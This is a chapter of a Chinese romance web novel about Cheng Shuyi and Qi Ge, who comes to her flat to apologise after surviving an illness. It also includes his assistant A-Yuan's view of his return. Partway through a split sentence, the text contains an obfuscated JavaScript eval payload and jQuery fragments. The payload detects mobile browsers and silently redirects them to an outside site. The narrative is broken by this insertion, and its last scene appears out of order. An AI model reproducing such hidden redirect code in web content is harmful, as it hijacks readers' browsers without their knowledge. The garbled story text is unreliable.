61. 再相见

作品:《不擅相思

    程书仪回到家没多久,就听到了门铃声。


    她今天确实叫了个外卖,没想到送得还挺快。


    “放门口就行。”她冲门那边喊了一句。


    也不知道是不是因为隔着门,对方没听到,门铃又响了一声。


    程书仪只好去开门,却发现门外站着的是祁歌。


    重新看到这个人,她才发现真的是许久未见了。


    祁歌在她近期的印象里,总是疲倦的,虚弱的,狼狈的。今天却不是。


    今天的祁歌看上去还不错。


    他对她笑着,这笑容是纯粹的,未曾掺杂任何希求或期待。


    虽然程书仪并没期待他的来访,但看到这样一张脸,也实在没办法冷下心来关门。


    “你怎么来了?”她问。


    “客串一下快递员。”祁歌手上拎着个纸袋,里面想必是声称要送还给程书仪的东西。


    程书仪看破便要说破:“只是送东西?”


    祁歌望着她,眼神称得上诚挚:“来看看你。”


    程书仪沉默了两秒,再询问地看他一眼。


    意思是看也看到了,还有什么事吗?


    “还有,”祁歌立马乖乖开口,“想当面跟你至少说几句话。书仪,我是从地狱爬回来的,就算满足我一个愿望……”


    如果此刻他撒娇装傻,程书仪会毫不犹豫地关上门。


    但程书仪看得出,他是在实话实说。


    于是她退了一步,给了祁歌进门的空间。


    场面略有点尴尬。


    祁歌进来之后没有脱外套或是换鞋,而是就站在门口,仿佛在等待程书仪让他离开的命令。


    门铃声再次响起,程书仪如梦初醒,试图越过祁歌去开门。


    “放门口就行。”祁歌越俎代庖地回头冲门口喊了一句。


    程书仪被他气笑了:“你礼貌吗?”


    祁歌望着她叹了口气,语气里倒没听出什么情绪:“其实我也知道有点冒昧,但当时自作主张擅自为我们俩做了决定,总要来当面讲一声抱歉的。”


    “当面讲一声抱歉?”程书仪又笑了一声,“你要是没活着回来,这声抱歉打算怎么讲?”


    “如果没活着回来,”祁歌定定地重复了一遍,垂下了眼,“我当时觉得,让你生气也好过伤心。”


    程书仪原本还想再骂几句,可是就这么两句话,她已经觉得心里被什么揪住一样难受。


    烦死了,这个人,除了让人心情变差还会做什么!


    “好,我知道了,说完了吗?”她抱着臂问。


    祁歌看了她一眼,这次眼神里终于有了点什么。


    非要分辨的话,似乎是接受。


    他似乎做好准备,要接受程书仪给他的一切回应,即便是无视或伤害。


    所以祁歌说:“打扰了。”


    他转过身去打开门,半点迟疑都没有地走了出去。


    “等等。”程书仪在他身后开口。


    祁歌的脚步顿了一顿。


    要说心里没有忐忑,是不可能的。


    他可以接受这个结果,不代表他没有其他的设想。


    或许程书仪到底仍会对他心软,又或许准备再扎他一刀,这都是程书仪的权利。


    但他只听到一些窸窸窣窣的声响。


    转过身来,他看到程书仪正看着他。


    在他的想象里,再见面时,程书仪会平静地注视他,看穿他所有的强撑与希冀,再毫不留情地击碎所有。


    但是现在,程书仪显然很生气。


    这种怒火正顺着她的眼睛一直烧到自己身上,但她开口说的话却似乎是在挽留:“吃点东西再走吧。”


    祁歌不太能理解她的话。


    ……吃点东西?


    “我点了港式茶点,点了不少,一起吃吧。”程书仪于是没什么好气地解释道。


    祁歌不明所以,祁歌忐忑不安,祁歌提心吊胆,坐下来戳了个虾饺。


    他偷眼看了下程书仪,对方正神色平静专心致志地吃饭,看上去并不想说什么。


    这是,什么意思啊……


    “祁歌。”程书仪吃得差不多了才发话。


    “哎。”祁歌应道。


    他没吃多少,早就开始磨磨唧唧耗时间。


    果然人还是吃饱了容易冷静,程书仪心里已经没了刚才的波动,可以理智地跟他聊天了。


    “你来找我,是想要什么?”程书仪问。


    大概是感受到了她试图营造的氛围,祁歌放下手里无目的乱扒拉的筷子,正襟危坐起来。


    “我想保留一样东西,”他说,“书仪,你跟我说过,你想试试……我想保留这句话的可能。”


    他这句话真的挺绕的,绕一大圈,无非还是想追自己的意思。程书仪在内心翻了个白眼。


    “程书仪,”祁歌严肃认真地说了下去,“但是如果这会让你不快,我也允许你收回这句话。”


    程书仪心头再次火起:“我用得着你允许?”


    不是这人到底怎么回事,怎么不管什么事到了他嘴里,就鼻子眼睛全不对?


    是来找虐的吗?


    祁歌望着她呆了呆。


    “怎么,”程书仪火气还在,直接站了起来,“每一次都是你说走就走想来就来吗?什么事都是你说了算是吧?你是谈恋爱还是当皇上来了?”


    祁歌被她骂懵了,眨了眨眼什么都说不出。


    “别说我们根本没什么,就算是有,也早就到此为止了,你现在说这些有什么用?”程书仪继续质问道,“如果你就是想随意来一次次招惹我,然后再因为什么你自己觉得解决不了的事情想走就走,何必跟我处心积虑来这一套?有意义吗?”


    祁歌又在原地呆了几秒,这才站起了身。


    这个动作颇花了他几秒钟,但祁歌似乎习以为常,撑着桌子站起来定了定神,一句话也没说转身往外面走。


    “站住,”程书仪冷冷说,“我让你走了吗?”


    于是祁歌又转了回来。


    他叹了口气,对程书仪抬起眼睫:“好,你继续说。”


    程书仪盯着他漂亮的上目线,深吸了口气:“现在该你说了。”


    阿远加完班时天色已经黑了,她看了看自己的工作任务表,确保每件事都弄好了,这才收拾东西下班。


    手机里有条来自祁歌的消息,说是要去碰碰运气,“祝我好运”。


    啥意思啊?阿远给他回了个问号,却并没收到回复。


    所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664058|187202||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以……这人是去找程书仪了?


    现在会是在程书仪那里乐不思蜀,还是躲哪儿哭去了……


    阿远觉得后者的可能性更大。


    于是本着人道主义关怀,她在路边等车的时候给祁歌打了电话过去。


    说真的,祁歌说的那些,她能理解,程书仪可不一定。


    但电话直接被按掉了。


    哇,祁歌不会是准备了一篇超长演讲稿,此刻正在试图打动对方吧……


    阿远脑补了一下,感觉在这种场景之中,程书仪可能会对这篇稿件百般挑剔,最后将他扫地出门。


    好想亲自去看看……


    于是她又给程书仪发了条消息:“我原谅他了。”


    “?”程书仪回了个问号。


    答应要帮忙的阿远为自己的捣乱偷笑了一阵。


    她最近还挺忙的,祁歌的热度在稳步地提升,公司也重视起来,甚至指定了专门的宣传对接,打算把他当做公司的下一个流量来培养。


    与此同时,高姐那边也帮他联系了一些项目,看看能不能拿到更好的、体力上也更能胜任的角色。


    另外,一直在计划内的祁歌个人工作室终于要启动了。


    虽然刚开始不会有太多人,但能成立工作室,也就意味着祁歌会有更多的主动权,跟粉丝的对接也会更顺畅。


    对此祁歌的评价是:“能不能把后援会解散了?”


    “哥,”阿远对他坏掉的脑子十分宽容,“等你翅膀硬了再说这话。”


    “好嘞。”祁歌乖乖闭嘴。


    他这番归来,表面变得乖巧,实则更任性。阿远和高姐讨论一番,认定或许也是好事。


    祁歌从前就是太闷葫芦了,现在这样偶尔乱来一下,也蛮好的。


    “太省心的人最可怕,因为你不知道他什么时候会突然捅出个大的窟窿来。”高姐说。


    阿远深以为然。


    就比如在这种情况下还死皮赖脸去找程书仪,这是以前的祁歌干不出来的事儿。


    以前的祁歌会做半辈子心理建设,然后暗搓搓进行八百个毫无意义的假动作,被程书仪看到时已经过去三年。


    “可能人陷于生死之中时,最能读懂自己的执念。”祁歌说,“最绝望的那天晚上我遇到过一个医生,她很像你,我总觉得她是被派来拯救我的。”


    这和我有什么关系?程书仪不免有些无语。


    祁歌望着她:“书仪,如果你……只是做个假设,如果你即将离开这个世界,你会希望我记住你,还是忘了你?”


    程书仪摇摇头:“我不想做这样的假设。”


    对她来说,眼前的一切才是最重要的。她喜欢在不确定的可能里寻找属于自己的确定和把握,掌控自己的每一个抉择及其后果。


    没什么几率发生的事,假设它又有什么意义。


    看祁歌表情有些黯然,她便出言敷衍道:“可能不重要吧。”


    听了这个答案,祁歌却笑了起来:“是吧,其实都不重要了,人到了那时候,就算是再无私再深情的人,想得最多的还是自己。”


    他这句话倒令程书仪有些意外了。


    “是我太自私了,”祁歌说,“但我那时候,也多少有那么点权利自私吧?”